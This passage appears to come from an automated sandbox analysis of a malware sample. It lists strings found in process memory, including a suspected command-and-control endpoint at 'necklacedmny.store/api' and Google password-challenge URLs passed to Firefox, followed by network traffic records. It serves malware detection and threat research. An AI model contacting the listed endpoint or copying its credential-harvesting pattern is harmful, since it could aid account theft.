Source: file.exe, file.exe, 00000000.00000003.2239692057.0000000000B59000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334696390.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218789350.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219380612.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235038822.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246137788.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220336413.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221378178.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219380612.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221344538.0000000000B4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218110887.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218789350.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218561038.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220582846.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221060387.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218972798.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217818575.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217375295.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217595506.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217076402.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 9f543353fa.exe, 0000000D.00000003.3153434359.0000000000721000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3154816202.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api)
Source: 9f543353fa.exe, 0000000D.00000003.3026696588.0000000000714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiH
Source: 9f543353fa.exe, 00000011.00000003.3177435187.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiV
Source: 9f543353fa.exe, 0000000D.00000003.3070716944.0000000000715000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apia
Source: file.exe, 00000000.00000003.2172250138.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235122313.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
Source: file.exe, 00000000.00000003.2217076402.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apidb
Source: file.exe, 00000000.00000003.2239692057.0000000000B59000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246137788.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apie
Source: 9f543353fa.exe, 0000000B.00000003.2969961104.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiet
Source: file.exe, 00000000.00000003.2235038822.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apil
Source: 9f543353fa.exe, 0000000B.00000003.2949308106.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2969961104.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apilet
Source: file.exe, 00000000.00000003.2172250138.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: 9f543353fa.exe, 00000011.00000003.3229602346.000000000118E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiv
Source: 9f543353fa.exe, 0000000D.00000003.3026696588.0000000000714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiz
Source: file.exe, 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/i)j
Source: 9f543353fa.exe, 00000011.00000003.3262778019.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/q
Source: file.exe, 00000000.00000003.2200506617.000000000540F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200217806.0000000005404000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201543151.000000000540F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/v7Md
Source: 9f543353fa.exe, 00000011.00000003.3262778019.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/y
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://support.mozilla.org
Source: 9f543353fa.exe, 00000011.00000003.3213834852.000000000580F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 9f543353fa.exe, 00000011.00000003.3213834852.000000000580F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001D.00000003.3171564466.0000012DD1EB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2221290526.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239639586.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217061104.0000000005419000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001D.00000003.3168816107.0000012DD1BE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: file.exe, 00000000.00000003.2201502434.000000000544B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2915510383.00000000051F4000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3049477217.00000000052C6000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3212761416.0000000005733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2201502434.000000000544B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2915510383.00000000051F4000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3049477217.00000000052C6000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3212761416.0000000005733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3212877296.00000026AC3BC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 9f543353fa.exe, 00000011.00000003.3213834852.000000000580F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 9f543353fa.exe, 00000011.00000003.3213834852.000000000580F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 9f543353fa.exe, 00000011.00000003.3213834852.000000000580F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001D.00000002.3212877296.00000026AC3BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000003.2201875010.000000000541C000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2916110469.00000000051B7000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3231539375.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3229081935.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA31B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3233123382.0000012DC9543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001D.00000003.3190293236.0000012DD06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220751021.0000012DBDC09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3060239758.000002115A300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3081639579.00000173BC0AF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220751021.0000012DBDC09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdn

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 58570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58619
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58618
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58578
Source: unknown	Network traffic detected: HTTP traffic on port 58532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58586
Source: unknown	Network traffic detected: HTTP traffic on port 58615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58583
Source: unknown	Network traffic detected: HTTP traffic on port 58584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58595
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58529
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58526
Source: unknown	Network traffic detected: HTTP traffic on port 58557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 58526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58539
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58534
Source: unknown	Network traffic detected: HTTP traffic on port 58539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58540
Source: unknown	Network traffic detected: HTTP traffic on port 58619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58577 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58547
Source: unknown	Network traffic detected: HTTP traffic on port 58556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58554
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58557
Source: unknown	Network traffic detected: HTTP traffic on port 58572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58556
Source: unknown	Network traffic detected: HTTP traffic on port 58595 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58565
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58560
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58608
Source: unknown	Network traffic detected: HTTP traffic on port 58607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58607
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58602
Source: unknown	Network traffic detected: HTTP traffic on port 58581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58571
Source: unknown	Network traffic detected: HTTP traffic on port 58618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58572
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58547 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
